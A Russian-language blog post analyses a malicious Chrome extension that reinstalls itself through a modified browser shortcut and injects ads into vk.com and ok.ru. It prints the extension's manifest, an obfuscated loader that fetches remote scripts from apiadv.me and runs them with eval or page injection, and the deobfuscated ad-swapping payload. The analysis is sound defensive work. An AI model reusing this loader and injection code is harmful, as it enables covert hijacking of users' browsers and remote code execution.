Анализ вредоносного расширения Google chrome

Добрый день, сегодня я расскажу про одного зловреда, пойманного на просторах Интернета. Данный зловред прикидывается расширением для браузера Google Chrome. При заражении видоизменяет ярлык, дописывая команду загрузки расширения (--load-extension “путь до зловреда“). То есть, можно удалить расширение в браузере, но при следующем запуске оно установиться вновь.

Давайте заглянем «под капот» расширения:

Структура расширения

Manifest.json
Bg.js
bgok.js
hash.js
bgvk.js
123.png
Папки _locales и CSS

Все исходники расширения доступны по ссылке github .

Manifest.json

{
"manifest_version": 2,
"name": "Go fire",
"permissions": [ "<all_urls>", "*://*/*", "unlimitedStorage", "storage", "tabs", "activeTab" ],
"version": "3.8",
"background": {
"persistent": true,
"scripts": [ "hash.js", "bg.js" ]
},
"content_scripts": [ {
"css": [ "css/bgvk.css" ],
"js": [ "bgvk.js" ],
"matches": [ "*://vk.com/*", "*://*.vk.com/*" ]
}, {
"css": [ "css/bgok.css" ],
"js": [ "bgok.js" ],
"matches": [ "*://odnoklassniki.ru/*", "*://www.odnoklassniki.ru/*", "*://ok.ru/*", "*://*.ok.ru/*" ]
} ],
"default_locale": "ru",
"description": "__MSG_appDesc__",
"icons": {
"128": "128.png"
}
}

Из файла манифеста понятно что точка входа фаил bg.js, файлы bgvk.js и bgvk.css подключаются для сайта vk.com. По аналогии фалы bgok.js и bgok.css подключаются для сайта odnoklassniki.ru. Все файлы скриптов обфусцированы.

Описание bg.js

Скрипт тянется в 3 места:

h**p://apiadv.me/hashes/apis.json
h**p://apiadv.me/js/vkapi.js
h**p://apiadv.me/js/okapi.js

По первой ссылке получаем файлик json следующего содержания:

[{"hashv":"13961f856524885207d8613a375ac2a9","hasho":"661f0a082c3153025f315eed43632dad"}]

Далее малварь тянет скрипт по этому урлу: h**p://apiadv.me/js/vkapi.js. затем идет сравнение его хеша (для получения хеша файла как раз и нужен скрипт hash.js) со значением hashv из json (правильно, а то вдруг недруги скомпрометируют!). Далее происходит сохранение полученного скрипта в chrome.storage.local под значением bxGZABwi.

Аналогично тянется скрипт h**p://apiadv.me/js/okapi.js — он сохраняется под значением tQFzTAwV. Дальнейший анализ будет только для сайта vk.com, для сайта ok.ru происходит аналогичный сценарий.

Рассмотрим поближе bgvk.js

bgvk.js

var IlTPXFOys = 'IlTPXFOysLy9hcGlhZHYubWUvanMvdmthcGkuanM=IlTPXFOya'; // "http://apiadv.me/js/vkapi.js"
var j = '//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js';
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = j;
document.head.appendChild(s);
function LnDgSyNS() {
    var b = new XMLHttpRequest();
    b.open('GET', j, true);
    b.onreadystatechange = function () {
        if (b.readyState == 4 && b.status === 200) {
            eval(b.responseText);
        }
        ;
    };
    b.send();
    var t = 0;

    function g() {
        if (window.jQuery) {
            jQuery.getScript(atob(IlTPXFOys.slice(9, -9)) + '?' + Math.floor((Math.random() * 1e+10) + 1));
        } else {
            t++;
            if (t < 100) {
                setTimeout(g, 100);
            }
            ;
        }
        ;
    };
    g();
};
chrome.storage.local.get({bxGZABwi: ''}, function (syncdata) {
    if (!chrome.runtime.lastError) {
        if (syncdata.bxGZABwi != '') {
            var i = document.createElement('script');
            i.type = 'text/javascript';
            i.innerHTML = syncdata.bxGZABwi;
            document.head.appendChild(i);
        } else {
            LnDgSyNS();
        }
        ;
    } else {
        LnDgSyNS();
    }
    ;
});

Тут происходит попытка загрузить данные из chrome.storage.local и добавление их к элементу head страницы. В случае отсутствия данных скрипт пытается забрать их из сети по той же ссылке.
Так что же к нам так усердно пытаются загрузить?

Рассмотрим файл vkapi.js

При переходе по url получаем обфусцированный файл. С помощью jsbeautifier.org приводим его к вполне читаемому виду:

vkapi.js

if (document['getElementById']('ads_left') != null) {
    document['getElementById']('ads_left')['innerHTML'] = ''
};
if (document['getElementById']('left_ads') != null) {
    document['getElementById']('left_ads')['innerHTML'] = ''
};
var vkui = 1;
if (document['getElementById']('side_bar_inner') == null) {
    vkui = 2
};

function A() {
    var _0xb14bx3 = '';
    var _0xb14bx4 = 'abcdefghijklmnopqrstuvwxyz_';
    for (var _0xb14bx5 = 0; _0xb14bx5 < 32; _0xb14bx5++) {
        _0xb14bx3 += _0xb14bx4['charAt'](Math['floor'](Math['random']() * _0xb14bx4['length']))
    };
    return _0xb14bx3
}
var asrcfrmn = A();

function SETSRCFRM(_0xb14bx8) {
    var _0xb14bx9;
    if (_0xb14bx8 == 1) {
        _0xb14bx9 = 'side_bar_inner'
    } else {
        _0xb14bx9 = 'side_bar'
    };
    if (document['getElementById'](_0xb14bx9) != null && document['getElementById'](asrcfrmn) == null && document['getElementById'](asrcfrmn + '_a') == null && document['getElementById']('quick_login') == null) {
        var _0xb14bxa = document['createElement']('div');
        _0xb14bxa['setAttribute']('id', asrcfrmn);
        _0xb14bxa['setAttribute']('style', 'position:relative;');
        if (_0xb14bx8 == 1) {
            $('#' + _0xb14bx9 + ' ol')['after'](_0xb14bxa)
        } else {
            $('#' + _0xb14bx9)['append'](_0xb14bxa)
        };
        var _0xb14bxb = 'display:none;padding:0px;padding-top:0px;border:none;width:130px;height:1080px;overflow:hidden;z-index:100;position:static;';
        var _0xb14bxc = document['createElement']('iframe');
        _0xb14bxc['setAttribute']('style', _0xb14bxb);
        _0xb14bxc['setAttribute']('id', asrcfrmn + '_a');
        _0xb14bxc['setAttribute']('marginwidth', '0');
        _0xb14bxc['setAttribute']('marginheight', '0');
        _0xb14bxc['setAttribute']('scrolling', 'no');
        _0xb14bxc['setAttribute']('frameborder', '0');
        $('#' + asrcfrmn)['append'](_0xb14bxc);
        var _0xb14bxd = document['createElement']('iframe');
        _0xb14bxd['setAttribute']('style', _0xb14bxb);
        _0xb14bxd['setAttribute']('id', asrcfrmn + '_b');
        _0xb14bxd['setAttribute']('marginwidth', '0');
        _0xb14bxd['setAttribute']('marginheight', '0');
        _0xb14bxd['setAttribute']('scrolling', 'no');
        _0xb14bxd['setAttribute']('frameborder', '0');
        $('#' + asrcfrmn)['append'](_0xb14bxd)
    };

    function _0xb14bxe() {
        var _0xb14bxe = ['aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9zZWFyY2hwbHVzLm1lL3ZhZHZhL3ZhZHZyY2EuaHRtbA=='];
        return _0xb14bxe[Math['floor'](Math['random']() * _0xb14bxe['length'])]['substr'](3)
    }

    function _0xb14bxf(_0xb14bx10, _0xb14bx11, _0xb14bx12, _0xb14bx13, _0xb14bx14, _0xb14bx15) {
        if (_0xb14bx13 == 0 && _0xb14bx14 == 0) {
            $(_0xb14bx10)['animate']({
                opacity: _0xb14bx12
            }, _0xb14bx11, function () {
                if (_0xb14bx15 == 1) {
                    $(_0xb14bx10)['removeAttr']('src')
                }
            })
        };
        if (_0xb14bx13 != 0 && _0xb14bx14 == 0) {
            $(_0xb14bx10)['animate']({
                opacity: _0xb14bx12
            }, _0xb14bx11, function () {
                $(_0xb14bx10)['css']({
                    "display": _0xb14bx13
                });
                if (_0xb14bx15 == 1) {
                    $(_0xb14bx10)['removeAttr']('src')
                }
            })
        };
        if (_0xb14bx13 == 0 && _0xb14bx14 != 0) {
            $(_0xb14bx10)['animate']({
                opacity: _0xb14bx12
            }, _0xb14bx11, function () {
                $(_0xb14bx10)['css']({
                    "position": _0xb14bx14
                });
                if (_0xb14bx15 == 1) {
                    $(_0xb14bx10)['removeAttr']('src')
                }
            })
        };
        if (_0xb14bx13 != 0 && _0xb14bx14 != 0) {
            $(_0xb14bx10)['animate']({
                opacity: _0xb14bx12
            }, _0xb14bx11, function () {
                $(_0xb14bx10)['css']({
                    "display": _0xb14bx13
                    , "position": _0xb14bx14
                });
                if (_0xb14bx15 == 1) {
                    $(_0xb14bx10)['removeAttr']('src')
                }

            })
        }
    }
    var _0xb14bx16 = document['getElementById'](asrcfrmn + '_a');
    var _0xb14bx17 = document['getElementById'](asrcfrmn + '_b');
    if (_0xb14bx16['style']['display'] == 'none') {
        _0xb14bx16['setAttribute']('src', atob(_0xb14bxe()));

        function _0xb14bx18() {
            document['getElementById'](asrcfrmn + '_a')['onload'] = null;
            if (_0xb14bx16['getAttribute']('src') != null) {
                $('#' + asrcfrmn + '_b')['css']({
                    "z-index": '100'
                    , "position": 'static'
                });
                $('#' + asrcfrmn + '_a')['css']({
                    "z-index": '101'
                    , "position": 'absolute'
                    , "opacity": 0
                    , "display": 'block'
                    , "top": 0
                    , "left": 0
                });
                _0xb14bxf('#' + asrcfrmn + '_a', 200, 1, 0, 'static', 0);
                _0xb14bxf('#' + asrcfrmn + '_b', 200, 0, 'none', 0, 1)
            }
        }
        document['getElementById'](asrcfrmn + '_a')['onload'] = _0xb14bx18
    } else {
        _0xb14bx17['setAttribute']('src', atob(_0xb14bxe()));

        function _0xb14bx19() {
            document['getElementById'](asrcfrmn + '_b')['onload'] = null;
            if (_0xb14bx17['getAttribute']('src') != null) {
                $('#' + asrcfrmn + '_a')['css']({
                    "z-index": '100'
                    , "position": 'static'
                });
                $('#' + asrcfrmn + '_b')['css']({
                    "z-index": '101'
                    , "position": 'absolute'
                    , "opacity": 0
                    , "display": 'block'
                    , "top": 0
                    , "left": 0
                });
                _0xb14bxf('#' + asrcfrmn + '_b', 200, 1, 0, 'static', 0);
                _0xb14bxf('#' + asrcfrmn + '_a', 200, 0, 'none', 0, 1)
            }
        }
        document['getElementById'](asrcfrmn + '_b')['onload'] = _0xb14bx19
    }
}
var winact;
var eventct = 1;

function RI() {
    IRF = setInterval(function () {
        if (winact == 'active') {
            SETSRCFRM()
        }
    }, 120000)
}

function FR() {
    setTimeout(function () {
        eventct = 0
    }, 3500)
}

function CL() {
    if (eventct == 0) {
        eventct = 1;
        SETSRCFRM();
        clearInterval(IRF);
        RI();
        FR()
    }
}

function RLA() {
    $('#left_ads, #ads_left')['remove']();
    setTimeout(RLA, 30000)
}

function MAINSTART() {
    SETSRCFRM(vkui);
    FR();
    RI();
    RLA();
    var _0xb14bx21 = $('#side_bar_inner ol')['height']() - 8;
    if (_0xb14bx21 > 6) {
        $('#side_bar_inner')['css']('height', _0xb14bx21)
    };
    $('a, a span')['click'](function () {
        CL()
    });
    $(document)['on']('click', 'a div, div a, button, a > b', function () {
        CL()
    });
    setTimeout(function () {
        $('#left_blocks, .left_holiday')['animate']({
            "opacity": '0'
        }, 300, function () {
            $('#left_blocks, .left_holiday')['hide']()
        })
    }, 10000);
    var _0xb14bx22;
    $(document)['mousemove'](function () {
        if (winact != 'active') {
            winact = 'active'
        };
        clearTimeout(_0xb14bx22);
        _0xb14bx22 = setTimeout(function () {
            winact = 'inactive'
        }, 120000)
    });
    $(document)['hover'](function (_0xb14bx23) {
        if (_0xb14bx23['fromElement']) {
            winact = 'inactive';
            clearTimeout(_0xb14bx22)
        } else {
            winact = 'active'
        }
    })
}
var trystart = 0;

function START() {
    trystart += 1;
    if (window['jQuery']) {
        MAINSTART()
    } else {
        if (trystart > 35) {
            var _0xb14bx26 = document['createElement']('script');
            _0xb14bx26['type'] = 'text/javascript';
            _0xb14bx26['src'] = '//code.jquery.com/jquery-1.12.3.min.js';
            document['head']['appendChild'](_0xb14bx26)
        };
        if (trystart < 500) {
            setTimeout(START, 75)
        }
    }
}
START();
var st = document['createElement']('style');
st['innerHTML'] = '#left_ads,#left_ads > *,#ads_left,#ads_left > * > *,div[id*="ayments_bo"],div[class*="anding_moneysen"],div[id*="ds_page_simpl"] div[class*="ds_intro_pag"],div[id*="ickets_conten"] div[id*="ew_ticke"],div[id="ads_page_wrap3"],div[class*="log_about_pres"] div[class*="log_about_wra"]{display:none!important;opacity:0!important;height:0px!important;min-height:0px!important;}';
document['head']['appendChild'](st)

Скрипт удаляет рекламу, которую отрисовывает сайт vk.com, после чего создается 2 элемента Iframe. В один из iframe отрисовывается реклама с url= :"//axisworlds.me/advpages/vadvaaa/vadvmgh.html",
затем Iframe с рекламой размещается на месте “легитимной” рекламы сайта vk.com.

Вместо эпилога.

Возможно это всего лишь мои предрассудки, но всё же. На текущий момент расширение просто перерисовывает рекламу в двух соц сетях, но в то же время переквалифицировать его в нечто более серьезное, изменив исходники на сервере, не составит владельцу особого труда.

Спасибо за внимание!